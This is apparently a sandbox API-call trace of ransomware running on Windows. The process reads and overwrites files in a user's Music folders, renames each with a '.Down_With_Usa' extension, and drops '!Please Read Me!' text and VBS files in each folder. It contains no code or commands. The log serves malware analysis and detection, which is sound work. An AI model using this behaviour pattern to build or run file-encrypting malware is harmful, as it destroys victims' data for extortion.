[0122.044] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa444f80, ftCreationTime.dwHighDateTime=0x1d5de6d, ftLastAccessTime.dwLowDateTime=0x623d9f90, ftLastAccessTime.dwHighDateTime=0x1d5db50, ftLastWriteTime.dwLowDateTime=0x623d9f90, ftLastWriteTime.dwHighDateTime=0x1d5db50, nFileSizeHigh=0x0, nFileSizeLow=0xb88a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tg4iyiX7scpgWco.mp3", cAlternateFileName="TG4IYI~1.MP3")) returned 1
[0122.044] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa444f80, ftCreationTime.dwHighDateTime=0x1d5de6d, ftLastAccessTime.dwLowDateTime=0x623d9f90, ftLastAccessTime.dwHighDateTime=0x1d5db50, ftLastWriteTime.dwLowDateTime=0x623d9f90, ftLastWriteTime.dwHighDateTime=0x1d5db50, nFileSizeHigh=0x0, nFileSizeLow=0xb88a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tg4iyiX7scpgWco.mp3", cAlternateFileName="TG4IYI~1.MP3")) returned 0
[0122.044] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0122.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf50) returned 1
[0122.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf10) returned 1
[0122.045] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\s01xZyFmRVY-.wav", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\s01xZyFmRVY-.wav", lpFilePart=0x0) returned 0x65
[0122.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0122.045] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\s01xZyFmRVY-.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\uqz74mpqq3r5mxx4mhf9\\s01xzyfmrvy-.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0122.045] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0xfbd
[0122.045] ReadFile (in: hFile=0x3a8, lpBuffer=0x275ebe8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x275ebe8*, lpNumberOfBytesRead=0x2eadd8*=0xfbd, lpOverlapped=0x0) returned 1
[0122.098] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\s01xZyFmRVY-.wav", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\s01xZyFmRVY-.wav", lpFilePart=0x0) returned 0x65
[0122.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0122.098] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\s01xZyFmRVY-.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\uqz74mpqq3r5mxx4mhf9\\s01xzyfmrvy-.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
[0122.101] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\s01xZyFmRVY-.wav", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\s01xZyFmRVY-.wav", lpFilePart=0x0) returned 0x65
[0122.101] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\s01xZyFmRVY-.wav.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\s01xZyFmRVY-.wav.Down_With_Usa", lpFilePart=0x0) returned 0x73
[0122.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0122.101] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\s01xZyFmRVY-.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\uqz74mpqq3r5mxx4mhf9\\s01xzyfmrvy-.wav"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec36b10, ftCreationTime.dwHighDateTime=0x1d5e4b3, ftLastAccessTime.dwLowDateTime=0x1a20a0a0, ftLastAccessTime.dwHighDateTime=0x1d5e18a, ftLastWriteTime.dwLowDateTime=0x253c09e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xfc0)) returned 1
[0122.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0122.102] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\s01xZyFmRVY-.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\uqz74mpqq3r5mxx4mhf9\\s01xzyfmrvy-.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\s01xZyFmRVY-.wav.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\uqz74mpqq3r5mxx4mhf9\\s01xzyfmrvy-.wav.down_with_usa")) returned 1
[0122.102] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\Tg4iyiX7scpgWco.mp3", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\Tg4iyiX7scpgWco.mp3", lpFilePart=0x0) returned 0x68
[0122.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0122.103] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\Tg4iyiX7scpgWco.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\uqz74mpqq3r5mxx4mhf9\\tg4iyix7scpgwco.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0122.103] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0xb88a
[0122.103] ReadFile (in: hFile=0x3a8, lpBuffer=0x2651038, nNumberOfBytesToRead=0xb88a, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x2651038*, lpNumberOfBytesRead=0x2eadd8*=0xb88a, lpOverlapped=0x0) returned 1
[0122.142] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\Tg4iyiX7scpgWco.mp3", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\Tg4iyiX7scpgWco.mp3", lpFilePart=0x0) returned 0x68
[0122.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0122.142] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\Tg4iyiX7scpgWco.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\uqz74mpqq3r5mxx4mhf9\\tg4iyix7scpgwco.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
[0122.147] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\Tg4iyiX7scpgWco.mp3", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\Tg4iyiX7scpgWco.mp3", lpFilePart=0x0) returned 0x68
[0122.147] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\Tg4iyiX7scpgWco.mp3.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\Tg4iyiX7scpgWco.mp3.Down_With_Usa", lpFilePart=0x0) returned 0x76
[0122.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0122.148] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\Tg4iyiX7scpgWco.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\uqz74mpqq3r5mxx4mhf9\\tg4iyix7scpgwco.mp3"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa444f80, ftCreationTime.dwHighDateTime=0x1d5de6d, ftLastAccessTime.dwLowDateTime=0x623d9f90, ftLastAccessTime.dwHighDateTime=0x1d5db50, ftLastWriteTime.dwLowDateTime=0x25432e00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xb890)) returned 1
[0122.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0122.148] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\Tg4iyiX7scpgWco.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\uqz74mpqq3r5mxx4mhf9\\tg4iyix7scpgwco.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\Tg4iyiX7scpgWco.mp3.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\uqz74mpqq3r5mxx4mhf9\\tg4iyix7scpgwco.mp3.down_with_usa")) returned 1
[0122.152] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x77
[0122.152] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9", nBufferLength=0x105, lpBuffer=0x2eaf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9", lpFilePart=0x0) returned 0x54
[0122.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb360) returned 1
[0122.152] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9", nBufferLength=0x105, lpBuffer=0x2eae50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9", lpFilePart=0x0) returned 0x54
[0122.152] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eadf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x77
[0122.152] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eadf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0122.152] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2eb000 | out: lpFindFileData=0x2eb000*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0122.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb2b0) returned 1
[0122.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb270) returned 1
[0122.156] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eabb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x69
[0122.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb090) returned 1
[0122.156] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\uqz74mpqq3r5mxx4mhf9\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0122.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb000) returned 1
[0122.158] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2ead50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x69
[0122.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb230) returned 1
[0122.158] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\uqz74mpqq3r5mxx4mhf9\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0122.159] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb1a0) returned 1
[0122.161] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x62
[0122.161] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI", nBufferLength=0x105, lpBuffer=0x2eb480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI", lpFilePart=0x0) returned 0x3f
[0122.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb8e0) returned 1
[0122.161] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI", nBufferLength=0x105, lpBuffer=0x2eb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI", lpFilePart=0x0) returned 0x3f
[0122.161] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x62
[0122.161] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0122.161] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2eb580 | out: lpFindFileData=0x2eb580*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0122.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb830) returned 1
[0122.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb7f0) returned 1
[0122.164] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x54
[0122.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb610) returned 1
[0122.165] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0122.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb580) returned 1
[0122.167] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x54
[0122.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb7b0) returned 1
[0122.167] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0122.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb720) returned 1
[0122.169] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x52
[0122.169] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa", nBufferLength=0x105, lpBuffer=0x2eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa", lpFilePart=0x0) returned 0x2f
[0122.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebe60) returned 1
[0122.169] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa", nBufferLength=0x105, lpBuffer=0x2eb950, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa", lpFilePart=0x0) returned 0x2f
[0122.169] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x52
[0122.169] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0122.170] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2ebb00 | out: lpFindFileData=0x2ebb00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0122.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebdb0) returned 1
[0122.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd70) returned 1
[0122.173] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x44
[0122.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb90) returned 1
